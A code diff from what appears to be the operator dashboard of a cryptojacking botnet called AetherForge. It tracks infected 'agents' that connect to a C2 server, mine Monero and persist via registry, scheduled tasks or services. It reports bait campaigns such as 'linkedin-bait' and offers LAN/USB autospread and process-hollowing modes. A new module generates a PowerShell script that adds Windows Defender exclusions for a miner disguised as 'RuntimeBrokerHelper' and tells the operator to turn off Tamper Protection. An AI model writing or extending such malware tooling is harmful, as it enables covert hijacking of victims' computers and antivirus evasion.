diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx
index fb62dea..b2f3e63 100644
--- a/server/web/src/components/components.test.tsx
+++ b/server/web/src/components/components.test.tsx
@@ -456,6 +456,46 @@ describe('AgentRemoteActions', () => {
});
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
});
+
+ it('shows LOTL tier badge in target header when lotl_tier is set', async () => {
+ render(
+
+
+ ,
+ );
+ await waitFor(() => {
+ expect(screen.getByText('LOTL Container')).toBeInTheDocument();
+ });
+ });
+
+ it('shows mining method in live stats when active_method is set', async () => {
+ render(
+
+
+
+ );
+ await waitFor(() => {
+ expect(screen.getByText(/Mining inprocess\+stratum/i)).toBeInTheDocument();
+ });
+ expect(screen.getByText(/Fallback container failed/i)).toBeInTheDocument();
+ });
});
describe('AgentListItem', () => {
@@ -881,6 +921,6 @@ describe('Layout', () => {
expect(screen.getByText('page body')).toBeInTheDocument();
});
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
- expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
+ expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
});
});
diff --git a/server/web/src/context/WebSocketProvider.test.tsx b/server/web/src/context/WebSocketProvider.test.tsx
index ab3d493..0778441 100644
--- a/server/web/src/context/WebSocketProvider.test.tsx
+++ b/server/web/src/context/WebSocketProvider.test.tsx
@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
unmount();
expect(closeSpy).toHaveBeenCalled();
});
+
+ it('applies stats_batch mining fields to agents', async () => {
+ const agent = mockAgent({ id: 'batch-1', active_method: undefined });
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+ await waitForSocket();
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
+ latestSocket().emitMessage({
+ type: 'stats_batch',
+ payload: {
+ updates: [
+ {
+ agent_id: 'batch-1',
+ hashrate_15s: 250,
+ hashrate_1m: 240,
+ hashrate_15m: 230,
+ cpu_usage_pct: 55,
+ active_method: 'inprocess',
+ stratum_overlay: true,
+ chain_exhausted: false,
+ mining_hashrate: 850,
+ lotl_tier: 'tier-2',
+ },
+ ],
+ },
+ });
+ });
+
+ expect(result.current.agents[0].hashrate_15s).toBe(250);
+ expect(result.current.agents[0].active_method).toBe('inprocess');
+ expect(result.current.agents[0].stratum_overlay).toBe(true);
+ expect(result.current.agents[0].mining_hashrate).toBe(850);
+ expect(result.current.agents[0].lotl_tier).toBe('tier-2');
+ });
+
+ it('applies stats_batch lotl_attempts to agents', async () => {
+ const agent = mockAgent({ id: 'batch-lotl' });
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+ await waitForSocket();
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
+ latestSocket().emitMessage({
+ type: 'stats_batch',
+ payload: {
+ updates: [
+ {
+ agent_id: 'batch-lotl',
+ hashrate_15s: 100,
+ hashrate_1m: 100,
+ hashrate_15m: 100,
+ cpu_usage_pct: 10,
+ lotl_tier: 'cpu_inprocess',
+ lotl_attempts: [
+ { tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
+ { tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
+ ],
+ },
+ ],
+ },
+ });
+ });
+
+ expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
+ expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
+ expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
+ });
+
+ it('applies emberwake_war_room WS payload', async () => {
+ const warRoomPayload = {
+ generated_at: '2026-06-06T15:00:00.000Z',
+ days: 7,
+ campaigns: [
+ {
+ campaign: 'linkedin-bait',
+ hits: 42,
+ downloads: 10,
+ agents: 3,
+ online: 2,
+ hashrate: 1500,
+ conversion_pct: 7.1,
+ daily_hits: [1, 2, 3, 4, 5, 6, 7],
+ },
+ ],
+ };
+ const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+ await waitForSocket();
+
+ act(() => {
+ latestSocket().emitOpen();
+ latestSocket().emitMessage({
+ type: 'emberwake_war_room',
+ payload: warRoomPayload,
+ });
+ });
+
+ expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
+ expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
+ expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
+ expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
+ });
});
diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx
index f8f7ef7..f264c86 100644
--- a/server/web/src/context/WebSocketProvider.tsx
+++ b/server/web/src/context/WebSocketProvider.tsx
@@ -1,9 +1,11 @@
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
-import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
+import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
+import { applyStatsUpdates } from '../help/applyStatsUpdate';
import type {
WSDashboardInit,
WSAgentOffline,
WSStatsUpdate,
+ WSStatsBatch,
WSCommandResult,
WSAgentLog,
WSPolicyAck,
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
- setAgents((prev) => {
- const idx = prev.findIndex((a) => a.id === update.agent_id);
- if (idx < 0) return prev;
- if (agentStatsUnchanged(prev[idx], update)) return prev;
- return prev.map((a) =>
- a.id === update.agent_id
- ? {
- ...a,
- hashrate_15s: update.hashrate_15s,
- hashrate_1m: update.hashrate_1m,
- hashrate_15m: update.hashrate_15m,
- cpu_usage_pct: update.cpu_usage_pct,
- memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
- uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
- shares_total: update.shares_submitted ?? a.shares_total,
- shares_good: update.shares_accepted ?? a.shares_good,
- shares_bad: Math.max(
- 0,
- (update.shares_submitted ?? a.shares_total) -
- (update.shares_accepted ?? a.shares_good)
- ),
- status: 'online' as const,
- ...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
- ...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
- ...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
- ...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
- ...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
- ...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
- ...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
- ...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
- ...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
- ...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
- ...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
- ...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
- ...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
- ...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
- ...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
- ...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
- ...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
- ...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
- ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
- ...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
- ...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
- ...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
- ...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
- ...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
- ...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
- ...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
- ...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
- ...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
- ...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
- ...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
- ...(update.services !== undefined ? { services: update.services } : {}),
- ...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
- }
- : a,
- );
- });
+ setAgents((prev) => applyStatsUpdates(prev, [update]));
+ break;
+ }
+ case 'stats_batch': {
+ const batch = msg.payload as WSStatsBatch;
+ if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
+ setAgents((prev) => applyStatsUpdates(prev, batch.updates));
+ }
break;
}
case 'new_share': {
diff --git a/server/web/src/help/applyStatsUpdate.test.ts b/server/web/src/help/applyStatsUpdate.test.ts
new file mode 100644
index 0000000..987007f
--- /dev/null
+++ b/server/web/src/help/applyStatsUpdate.test.ts
@@ -0,0 +1,133 @@
+import { describe, expect, it } from 'vitest';
+import type { Agent } from '../types';
+import { applyStatsUpdates } from './applyStatsUpdate';
+
+const baseAgent = (): Agent => ({
+ id: 'a1',
+ name: 'node',
+ wallet: '',
+ ip: '10.0.0.1',
+ version: '1',
+ status: 'online',
+ cpu_cores: 4,
+ memory_gb: 8,
+ last_seen: new Date().toISOString(),
+ created_at: new Date().toISOString(),
+ hashrate_15s: 100,
+ hashrate_1m: 100,
+ hashrate_15m: 100,
+ shares_total: 0,
+ shares_good: 0,
+ shares_bad: 0,
+ cpu_usage_pct: 10,
+ memory_usage_pct: 20,
+ uptime_seconds: 60,
+});
+
+describe('applyStatsUpdates', () => {
+ it('applies batch updates in one pass', () => {
+ const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
+ const next = applyStatsUpdates(agents, [
+ { agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
+ { agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
+ ]);
+ expect(next[0].hashrate_15m).toBe(200);
+ expect(next[1].hashrate_15m).toBe(80);
+ });
+
+ it('returns same reference when nothing changed', () => {
+ const agents = [baseAgent()];
+ const next = applyStatsUpdates(agents, [
+ { agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
+ ]);
+ expect(next).toBe(agents);
+ });
+
+ it('merges mining cascade fields from stats_batch updates', () => {
+ const agents = [baseAgent()];
+ const next = applyStatsUpdates(agents, [
+ {
+ agent_id: 'a1',
+ hashrate_15s: 100,
+ hashrate_1m: 100,
+ hashrate_15m: 100,
+ cpu_usage_pct: 10,
+ active_method: 'inprocess',
+ stratum_overlay: true,
+ chain_exhausted: false,
+ chain_order: ['container', 'inprocess', 'stratum_direct'],
+ failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
+ last_error: 'container start blocked',
+ },
+ ]);
+ expect(next[0].active_method).toBe('inprocess');
+ expect(next[0].stratum_overlay).toBe(true);
+ expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
+ expect(next[0].failed_methods).toHaveLength(1);
+ expect(next[0].last_error).toBe('container start blocked');
+ });
+
+ it('applies batch mining updates for multiple agents', () => {
+ const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
+ const next = applyStatsUpdates(agents, [
+ { agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
+ { agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
+ ]);
+ expect(next[0].active_method).toBe('container');
+ expect(next[1].chain_exhausted).toBe(true);
+ });
+
+ it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
+ const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
+ const next = applyStatsUpdates(agents, [
+ {
+ agent_id: 'v1',
+ hashrate_15s: 0,
+ hashrate_1m: 0,
+ hashrate_15m: 0,
+ cpu_usage_pct: 0,
+ vuln_risk_score: 42,
+ vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
+ },
+ ]);
+ expect(next[0].vuln_risk_score).toBe(42);
+ expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
+ });
+
+ it('merges mining_hashrate and lotl_tier from stats_batch', () => {
+ const agents = [baseAgent()];
+ const next = applyStatsUpdates(agents, [
+ {
+ agent_id: 'a1',
+ hashrate_15s: 100,
+ hashrate_1m: 100,
+ hashrate_15m: 100,
+ cpu_usage_pct: 10,
+ mining_hashrate: 850,
+ lotl_tier: 'tier-1',
+ },
+ ]);
+ expect(next[0].mining_hashrate).toBe(850);
+ expect(next[0].lotl_tier).toBe('tier-1');
+ });
+
+ it('merges lotl_attempts from stats_batch', () => {
+ const agents = [baseAgent()];
+ const attempts = [
+ { tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
+ { tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
+ ];
+ const next = applyStatsUpdates(agents, [
+ {
+ agent_id: 'a1',
+ hashrate_15s: 100,
+ hashrate_1m: 100,
+ hashrate_15m: 100,
+ cpu_usage_pct: 10,
+ lotl_tier: 'cpu_inprocess',
+ lotl_attempts: attempts,
+ },
+ ]);
+ expect(next[0].lotl_attempts).toEqual(attempts);
+ });
+});
diff --git a/server/web/src/help/applyStatsUpdate.ts b/server/web/src/help/applyStatsUpdate.ts
new file mode 100644
index 0000000..847b0de
--- /dev/null
+++ b/server/web/src/help/applyStatsUpdate.ts
@@ -0,0 +1,82 @@
+import type { Agent } from '../types';
+import type { WSStatsUpdate } from '../types/ws';
+import { agentStatsUnchanged } from './wsStatsCoalesce';
+
+/** Merge one stats_update payload into an agent row. */
+export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
+ return {
+ ...agent,
+ hashrate_15s: update.hashrate_15s,
+ hashrate_1m: update.hashrate_1m,
+ hashrate_15m: update.hashrate_15m,
+ cpu_usage_pct: update.cpu_usage_pct,
+ memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
+ uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
+ shares_total: update.shares_submitted ?? agent.shares_total,
+ shares_good: update.shares_accepted ?? agent.shares_good,
+ shares_bad: Math.max(
+ 0,
+ (update.shares_submitted ?? agent.shares_total) -
+ (update.shares_accepted ?? agent.shares_good),
+ ),
+ status: 'online' as const,
+ ...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
+ ...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
+ ...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
+ ...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
+ ...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
+ ...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
+ ...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
+ ...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
+ ...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
+ ...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
+ ...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
+ ...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
+ ...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
+ ...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
+ ...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
+ ...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
+ ...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
+ ...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
+ ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
+ ...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
+ ...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
+ ...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
+ ...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
+ ...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
+ ...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
+ ...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
+ ...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
+ ...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
+ ...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
+ ...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
+ ...(update.services !== undefined ? { services: update.services } : {}),
+ ...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
+ ...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
+ ...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
+ ...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
+ ...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
+ ...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
+ ...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
+ ...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
+ ...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
+ ...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
+ ...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
+ ...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
+ ...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
+ };
+}
+
+/** Apply one or many stats updates in a single pass (batch-friendly). */
+export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
+ if (updates.length === 0) return agents;
+ const byId = new Map(updates.map((u) => [u.agent_id, u]));
+ let changed = false;
+ const next = agents.map((a) => {
+ const u = byId.get(a.id);
+ if (!u || agentStatsUnchanged(a, u)) return a;
+ changed = true;
+ return mergeAgentStats(a, u);
+ });
+ return changed ? next : agents;
+}
diff --git a/server/web/src/help/cheatSheetContent.test.ts b/server/web/src/help/cheatSheetContent.test.ts
index e19bffc..b00adb4 100644
--- a/server/web/src/help/cheatSheetContent.test.ts
+++ b/server/web/src/help/cheatSheetContent.test.ts
@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
'/settings',
'/forge',
'/builds',
- '/agents',
+ '/crucible',
'/dashboard',
]);
for (const step of routed) {
diff --git a/server/web/src/help/cheatSheetContent.ts b/server/web/src/help/cheatSheetContent.ts
index d684f8f..9950224 100644
--- a/server/web/src/help/cheatSheetContent.ts
+++ b/server/web/src/help/cheatSheetContent.ts
@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
title: 'Connect',
subtitle: 'Agent phones home',
icon: '🔗',
- body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
- route: '/agents',
- routeLabel: 'Fleet Roster',
+ body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
+ route: '/crucible',
+ routeLabel: 'Crucible',
tips: [
'Status dot: green = online now, grey = last seen X ago',
'Remote action buttons are disabled when the agent is offline — by design',
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
'C2 server URL (LAN http://IP:8989)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
- 'Worker name (shows in Fleet Roster)',
+ 'Worker name (shows in Crucible node roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
@@ -328,7 +328,7 @@ ollama run llama3.2`,
export const TROUBLESHOOTING = [
{
- problem: 'Agent never appears in Fleet Roster',
+ problem: 'Agent never appears in Crucible',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
},
{
diff --git a/server/web/src/help/defenderExclusion.test.ts b/server/web/src/help/defenderExclusion.test.ts
new file mode 100644
index 0000000..99f8c20
--- /dev/null
+++ b/server/web/src/help/defenderExclusion.test.ts
@@ -0,0 +1,26 @@
+import { describe, it, expect } from 'vitest';
+import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
+
+describe('defenderExclusion', () => {
+ it('builds elevated PowerShell with path and process exclusions', () => {
+ const script = buildDefenderExclusionScript({
+ installPath: "C:\\ProgramData\\AetherForge\\worker",
+ processName: 'RuntimeBrokerHelper',
+ });
+ expect(script).toContain('Add-MpPreference -ExclusionPath');
+ expect(script).toContain('RuntimeBrokerHelper.exe');
+ expect(script).toContain('Tamper Protection');
+ });
+
+ it('escapes single quotes in paths', () => {
+ const script = buildDefenderExclusionScript({
+ installPath: "C:\\O'Brien\\miner",
+ processName: 'worker',
+ });
+ expect(script).toContain("C:\\O''Brien\\miner");
+ });
+
+ it('provides default install preview', () => {
+ expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
+ });
+});
diff --git a/server/web/src/help/defenderExclusion.ts b/server/web/src/help/defenderExclusion.ts
new file mode 100644
index 0000000..bd9ac12
--- /dev/null
+++ b/server/web/src/help/defenderExclusion.ts
@@ -0,0 +1,57 @@
+/** Generate a PowerShell script operators run manually to add Defender exclusions. */
+
+export interface DefenderExclusionOptions {
+ /** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
+ installPath: string;
+ /** Process name without .exe, e.g. RuntimeBrokerHelper */
+ processName: string;
+}
+
+function psEscapeSingleQuoted(value: string): string {
+ return value.replace(/'/g, "''");
+}
+
+export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
+ const installPath = psEscapeSingleQuoted(opts.installPath.trim());
+ const processName = psEscapeSingleQuoted(opts.processName.trim());
+ const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
+
+ return `# AetherForge — Windows Defender exclusions
+# Run elevated (Administrator). Review before executing.
+# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
+
+$ErrorActionPreference = 'Stop'
+$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
+if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
+ Write-Warning 'Re-run this script as Administrator.'
+}
+
+$paths = @(
+ '${installPath}'
+)
+$processes = @(
+ '${processExe}'
+)
+
+try {
+ Add-MpPreference -ExclusionPath $paths -Force
+ Add-MpPreference -ExclusionProcess $processes -Force
+ Write-Host "Added Defender exclusions for install path and ${processExe}"
+} catch {
+ Write-Warning $_.Exception.Message
+}
+
+Write-Host ''
+Write-Host 'Manual checklist if mining still blocked:'
+Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
+Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
+Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
+Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
+`;
+}
+
+/** Example install path for Calibrate preview (Windows localappdata template). */
+export function defaultWindowsInstallPreview(workerName = 'worker'): string {
+ const slug = workerName.trim() || 'worker';
+ return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
+}
diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts
index a23febf..308cb90 100644
--- a/server/web/src/help/docAnchors.ts
+++ b/server/web/src/help/docAnchors.ts
@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record
= {
max_memory_percent: '/docs/#forge-stealth',
min_free_ram_mb: '/docs/#forge-stealth',
mining_mode: '/docs/#forge-stealth',
+ miner_execution: '/docs/#container-mining',
idle_threshold_pct: '/docs/#forge-stealth',
idle_duration_minutes: '/docs/#forge-stealth',
schedule_start: '/docs/#agent',
diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts
index 427411c..b994a03 100644
--- a/server/web/src/help/forgeDefaults.ts
+++ b/server/web/src/help/forgeDefaults.ts
@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'idle',
+ miner_execution: 'auto',
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',
diff --git a/server/web/src/help/forgeMissionWizard.test.ts b/server/web/src/help/forgeMissionWizard.test.ts
index 2a192e9..5577823 100644
--- a/server/web/src/help/forgeMissionWizard.test.ts
+++ b/server/web/src/help/forgeMissionWizard.test.ts
@@ -14,13 +14,14 @@ import {
describe('forgeMissionWizard', () => {
it('defines three ritual wizard steps', () => {
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
- expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
+ expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
});
it('maps operation chips to forge modes', () => {
expect(operationModeForChip('ghost')).toBe('ghost_walk');
expect(operationModeForChip('loud')).toBe('open_flame');
expect(operationModeForChip('spread')).toBe('wildfire');
+ expect(operationModeForChip('avsafe')).toBe('av_safe');
});
it('reverse-maps operation modes to wizard chips', () => {
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
expect(missionChipForMode('open_flame')).toBe('loud');
expect(missionChipForMode('wildfire')).toBe('spread');
expect(missionChipForMode('crucible_storm')).toBe('spread');
+ expect(missionChipForMode('av_safe')).toBe('avsafe');
});
it('navigates wizard steps forward and back', () => {
diff --git a/server/web/src/help/forgeMissionWizard.ts b/server/web/src/help/forgeMissionWizard.ts
index 349425a..d0d101f 100644
--- a/server/web/src/help/forgeMissionWizard.ts
+++ b/server/web/src/help/forgeMissionWizard.ts
@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record = {
launch: 'Launch',
};
-export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
+export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
export interface MissionOperationChipDef {
id: MissionOperationChip;
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
modeId: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
},
+ {
+ id: 'avsafe',
+ label: 'AV-Safe',
+ color: '#22d3a8',
+ modeId: 'av_safe',
+ blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
+ },
];
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
}
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
+ if (mode === 'av_safe') return 'avsafe';
if (mode === 'open_flame') return 'loud';
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
return 'ghost';
diff --git a/server/web/src/help/forgeOperationModes.test.ts b/server/web/src/help/forgeOperationModes.test.ts
index b783f20..c91b7a6 100644
--- a/server/web/src/help/forgeOperationModes.test.ts
+++ b/server/web/src/help/forgeOperationModes.test.ts
@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
}) as BuildRequest;
describe('forgeOperationModes', () => {
- it('exposes six colored aether-themed presets', () => {
- expect(OPERATION_MODES).toHaveLength(6);
+ it('exposes colored aether-themed presets including LOTL Onion', () => {
+ expect(OPERATION_MODES).toHaveLength(8);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
+ 'AV-Safe',
+ 'LOTL Onion',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
'aether',
'wildfire',
'crucible',
+ 'aether',
+ 'aether',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
+
+ it('applies AV-Safe in-process mining without GPU or spread', () => {
+ const next = applyOperationMode(baseForm(), 'av_safe');
